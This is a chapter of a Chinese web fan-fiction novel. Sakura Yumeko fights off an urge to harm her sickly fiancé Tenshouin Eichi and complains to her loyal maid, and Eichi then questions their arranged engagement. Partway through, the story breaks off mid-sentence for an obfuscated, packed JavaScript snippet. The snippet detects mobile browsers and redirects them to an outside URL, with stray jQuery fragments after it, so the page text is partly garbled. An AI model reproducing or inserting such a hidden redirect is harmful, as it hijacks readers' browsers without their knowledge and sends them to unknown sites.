默认冷灰
24号文字
方正启体

10. 棋子

作者:樱井妍子本书字数:K更新时间:
    梦子维持着将英智压制在病床上的姿势,脸上的笑容完美得无懈可击,仿佛刚刚那些充满血腥气的威胁只是情人间的玩笑。然而,她的内心早已翻江倒海,咆哮着最原始的暴力冲动。


    (这个魔鬼!这个该死的魔鬼!)


    (明明是这样脆弱不堪的身体,我随便用点力气就能让他散架!)


    (为什么偏偏是我被吃得死死的?!为什么就是拿他没办法?!)


    她能感觉到手掌下他单薄肩膀传来的、属于病人的微弱体温和骨骼轮廓,这更让她有一种荒谬的无力感。仿佛她握住的不是一个人的性命,而是一团无形却坚韧的丝线,这些丝线另一端牢牢系着的是佐仓家的利益、是那纸可笑的婚约、是她无法挣脱的世家枷锁!


    (可恶!可恶!可恶!!!)


    内心的野兽在疯狂叫嚣,尖利的爪牙渴望着撕碎眼前这个总是从容不迫、将她玩弄于股掌之间的存在。掐住他纤细的脖颈,看着那双总是洞悉一切的蓝眼睛失去焦距……这个念头带着嗜血的快感,强烈得让她指尖都微微颤抖。


    (真想……现在就掐死他!)


    这个想法如同毒蛇,缠绕上她的心脏。


    然而,现实是,她按在他肩头的手,甚至连真正的力道都不敢用。她可以想象,只要在他苍白的皮肤上留下一点点红痕,后续引来的麻烦将是无穷无尽。


    英智似乎完全感受不到她内心汹涌的杀意,依旧好整以暇地看着她,甚至带着点鼓励的意味,仿佛在说:“想做什么,尽管试试。”


    这种有恃无恐的态度,更是火上浇油。


    (冷静,佐仓梦子!冷静!)


    (为了这种家伙赔上自己,不值得!)


    (杀了他,你也完了,佐仓家也……!)


    理智在与疯狂的杀意搏斗,最终,那名为“责任”与“后果”的冰冷镣铐,再一次锁住了她躁动的灵魂。


    她深吸一口气,几乎是耗尽了全身的力气,才将那股几乎要冲破胸膛的暴戾压回心底最阴暗的角落。脸上的笑容丝毫未变,甚至更加甜蜜,但抵住他肩膀的手,却缓缓松开了力道。


    她直起身,优雅地整理了一下并凌乱的衣襟和发丝,仿佛刚才的一切真的只是一场无伤大雅的玩闹。


    “开个玩笑而已,英智君。”她的声音恢复了往常的语调,带着一丝刻意的轻快,“看来你身体恢复得不错,都有力气开这种玩笑了。”


    只是那垂在身侧、悄然握紧的拳头,和内心深处一遍遍无声呐喊的“可恶”,揭露了这场交锋的真正输赢。


    她再次被自己的身份和这个男人的算计,牢牢地束缚住了。而那个躺在病床上、看似处于绝对劣势的“魔鬼”,依旧是那个掌控着局面的执棋者。


    越洋电话里的真实


    几乎是冲出医院,确认四周无人后,梦子立刻拨通了那个烂熟于心的号码。电话接通的瞬间,她甚至没等露桉那声惯例清冷的“大小姐”说完,就噼里啪啦地开始控诉,语气里充满了前所未有的委屈和抓狂,完全卸下了所有在旁人面前维持的端庄面具。


    “露桉——!!!”她几乎是哀嚎出声,“那个天祥院英智!他简直不是人!是魔鬼!是专门克我的灾星!”


    她语速极快,颠三倒四地把刚才在病房里发生的事情复述了一遍——从企划案被要求换回第一版的离谱要求,到自己如何气到爆炸、如何想象了无数种“暗杀”方案,再到最后如何被对方一句轻飘飘的“投怀送抱”反将一军,被迫松手认输。


    “你明白那种感觉吗?!我明明能一拳打碎他!却只能看着他那个可恶的笑脸!啊啊啊!气死我了!我当初为什么要答应父母来照顾他!我一定是脑子被门夹了!”


    她的声音时而高昂,时而咬牙切齿,时而又带着点挫败的哽咽,像极了任何一个在闺蜜面前控诉“渣男”的普通女孩,只不过她控诉的对象,是那个站在梦之咲顶端的、病弱却可怕的天祥院英智。


    电话那头的露桉安静地听着,没有打断。直到梦子发泄得差不多了,气息微喘地停下来,她才冷静地开口,声音透过听筒传来,带着一种能让人安定下来的力量:


    “大小姐,您需要我提前结束训练回国吗?”她的语气非常认真,仿佛只要梦子点头,她下一秒就会出现在机场。


    “或者,”她顿了顿,声音压低了些,带着一丝冰冷的肃杀,“您需要我‘处理’掉任何让您不愉快的人或事吗?即使是天祥院家的继承人,只要您下令。”


    这话如果被外人听到,绝对会吓破胆。但梦子知道,露桉是认真的。她吸了吸鼻子,心里的怒火和委屈因为露桉这毫不迟疑的维护和“危险”的提议,奇异地消散了一些。


    “不……不用。”她叹了口气,揉了揉发胀的太阳穴,“为了那种家伙让你冒险,不值得。而且……杀了他麻烦更大。”


    她踢了踢脚边的小石子,语气闷闷的:“我就是……就是心里憋得慌,想跟你吐槽一下。露桉,只有在你这里,我才能这么说……在外面,我连生气都要计算一下表情和后果。”


    她的声音低了下去,带着一丝不易察觉的疲惫和依赖。


    露桉在那头沉默了片刻,再开口时,语气柔和了些许:“我明白。大小姐,您辛苦了。”她没有再多问细节,只是坚定地说:“无论您做什么决定,露桉永远站在您这边。需要倾诉,随时找我。需要‘解决’问题,也请随时吩咐。”


    听到这熟悉的支持,梦子感觉心里那块堵着的大石头仿佛被挪开了一点。她长长地呼出一口气,仿佛要把所有郁闷都吐出去。


    “嗯……谢谢你,露桉。”她轻声说,脸上终于露出了一点真实的、放松的神情,“我没事了,就是……需要缓一缓。你那边训练也要小心。”


    又简单聊了几句近况后,梦子挂断了电话。她看着手机屏幕,虽然问题并没有解决,英智依旧是个该死的魔鬼,但至少,在这通越洋电话里,她做回了片刻真实的、可以肆意抱怨的杨梦,而不是必须时刻得体的佐仓大小姐。


    这或许就是露桉对她而言,无人可以替代的意义。


    病房内的余韵与静默的诘问


    病房门被轻轻带上,隔绝了那道带着怒意与挫败的身影。空气中似乎还残留着梦子身上淡淡的香气,以及她方才气急败坏时带来的、与这死寂病房格格不入的鲜活气息。


    天祥院英智维持着靠在床头的姿势,良久未动。指尖无意识地在丝绸床单上划过,留下几道短暂的褶皱,随即又缓缓抚平。


    他想起梦子离开前那强装镇定却难掩郁闷的眼神,想起她提到Knights时,语气里那份不假思索的、近乎本能的亲近与信赖。


    (Knights的人……好吗?)


    月永雷欧的不可控,濑名泉的吹毛求疵,朔间凛月的消极,鸣上岚的过度在意形象……在他精密计算的棋盘上,这些特质都是需要被权衡、甚至需要被“修剪”的不稳定因素。可在她口中,却成了“虽然麻烦”但依旧值得全心付出的理由。


    她与他们相处时,似乎总能轻易找到那种毫无隔阂的相处方式,会生气,会无奈,但更多的是包容和一种近乎莽撞的维护。那是他从未体验过,也从未给予过他人的情感模式。


    (这个婚约……真的好吗?)


    这个念头第一次如此清晰、且不带任何功利权衡地浮现在他脑海。


    这纸婚约,是天祥院与佐仓两家利益最大化的最优解,是抵御外界纷扰的最佳屏障。他一直认为,选择梦子,是因为她背景相当、头脑清晰,且有着不同于寻常世家千金的、可被引导的潜力,是一个合格的“合作伙伴”。


    可此刻,他却无法忽视内心那丝微妙的迟疑。


    将她束缚在这桩建立在冰冷利益之上的婚约里,是否……正在一点点磨灭她身上那种最为耀眼的特质?那种会为了Knights据理力争、会气得口不择言、会像普通女孩一样对着电话那头的女仆诉苦的……生动的“人”的气息。


    他需要的是一个能并肩的执棋者,还是一个……会因为他一句刁难就气得跳脚,却又在别处闪闪发光的佐仓梦子?


    英智缓缓闭上眼,纤长的睫毛在苍白的脸颊上投下淡淡的阴影。病房里只剩下仪器规律的滴答声,和他自己几乎微不可闻的呼吸。


    一向运筹帷幄、笃信自己每一步抉择的他,第一次,对那盘由自己亲手布局的棋,产生了一丝不甚明显的裂痕。


    天祥院英智的凝视


    病房的寂静仿佛有了重


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756485|190069||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    量。英智的目光落在方才梦子站过的位置,指尖无意识地在床单上收拢。


    他当然知道。


    知道佐仓家那座华美牢笼里的空气有多冰冷。知道那对遵循着“狼性教育”的父母,永远用更高的标杆丈量着女儿,将“不满意”化作日常的鞭策。赞美是奢侈品,认可是遥不可及的诱饵。


    他也看懂了。


    看懂了她为何会一头扎进二次元的世界。那里有热血澎湃的友谊,有明确的正邪与胜利,有现实中难以寻觅的、纯粹的情感宣泄口。那是她唯一被允许的、不会被视为“失格”的逃避通道。


    (不会想着杀人放火……最多只是让自己受伤……)


    这个认知像一根细微的刺,扎进他惯于精密计算的心脏。在如此压抑的环境下长大,她选择的发泄途径,最过激的,竟然只是些幼稚的恶作剧,和……将所有的压力向内转化,默默承受,独自消化。


    比起那些在压力下扭曲、将痛苦转嫁他人,或彻底崩溃的所谓“精英”,她这种近乎固执的、向内求的“忍耐”,反而呈现出一种……


    (……足够作为人的真实。)


    一种未被彻底异化的、坚韧的“人性”。


    她会在被他刁难时气得跳脚,会在Knights面前流露出毫无防备的依赖,会因简单的快乐而眼睛发亮,也会在独处时默默舔舐伤口。这一切的情绪,无论积极还是消极,都如此鲜活,如此“不完美”,却又如此……真实。


    而这份真实,在他所处的、一切都被明码标价的世界里,是何其罕见,何其……刺眼。


    婚约的“好”与“不好”,在这一刻,似乎不再仅仅关乎利益与秩序。一个更微妙、更陌生的命题,悄然浮现在他冰冷的心湖——


    将这抹挣扎着保持本真的色彩,彻底拖入他所在的、只有黑白与算计的深渊,真的……是“正确”的吗?


    记忆的闪回


    那段被尘封的、泛着旧照片般模糊光晕的童年记忆,因着方才与梦子那场充满硝烟的互动,毫无预兆地撞进天祥院英智的脑海。


    那时他还更小,更频繁地被困在这片白色牢笼里。而那个扎着双马尾、穿着精致小洋装,却总是不合规矩跑得气喘吁吁的佐仓梦子,是这片死寂中唯一不请自来的“噪音”。


    她会像一阵风似的冲进他的病房,带着外面阳光和青草的气息,小脸凑到他的床前,圆溜溜的眼睛里满是毫不掩饰的好奇和……嫌弃。


    “为什么你要一直躺在床上?你生病了吗?”


    “这里太——无聊了!陪我出去玩吧!”


    “哥哥你好无趣哦,大人无趣,你也无趣。”


    然后,她会用那双清澈得能倒映出他苍白面容的眼睛,看着他,说出那句至今回想起来,都带着尖锐童言无忌的话:


    “像个人偶一样,按部就班,没有人性。”


    ……


    (现实的静默)


    病床上的英智缓缓闭上眼,指尖微微蜷缩。


    “人偶”……“没有人性”……


    原来那么早,她就已经一眼看穿了他的本质。


    那个年幼的、尚未学会用更多伪装来包裹自己的他,在那个同样年幼、却敢于直指核心的佐仓梦子面前,无所遁形。


    她嫌弃他的无趣,抗拒他身上那种属于“大人世界”的、按部就班的沉闷。她渴望的是鲜活、是玩闹、是挣脱束缚的奔跑。


    而如今……


    他睁开眼,看着这间依旧洁白、却更加空旷冰冷的病房,嘴角扯起一丝极淡的、近乎自嘲的弧度。


    他成为了真正的“人偶”,更加精密,更加完美,也更加……“没有人性”。他熟练地操弄着规则与人心,将一切都置于天平之上。


    而那个曾经大声控诉他“没有人性”的女孩,却被一纸婚约,强行绑在了他这个“人偶”的身边,不得不再次面对他所代表的、她最厌恶的无趣与冰冷。


    命运,还真是讽刺。


    他心底那丝关于“婚约是否真的好”的疑虑,在此刻,悄然蔓延。将这抹曾经如此鲜活、憎恶束缚的色彩,禁锢在自己灰白的世界里,究竟是对是错?


    这个问题,似乎比任何商业决策或学院事务,都更难找到确定的答案。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)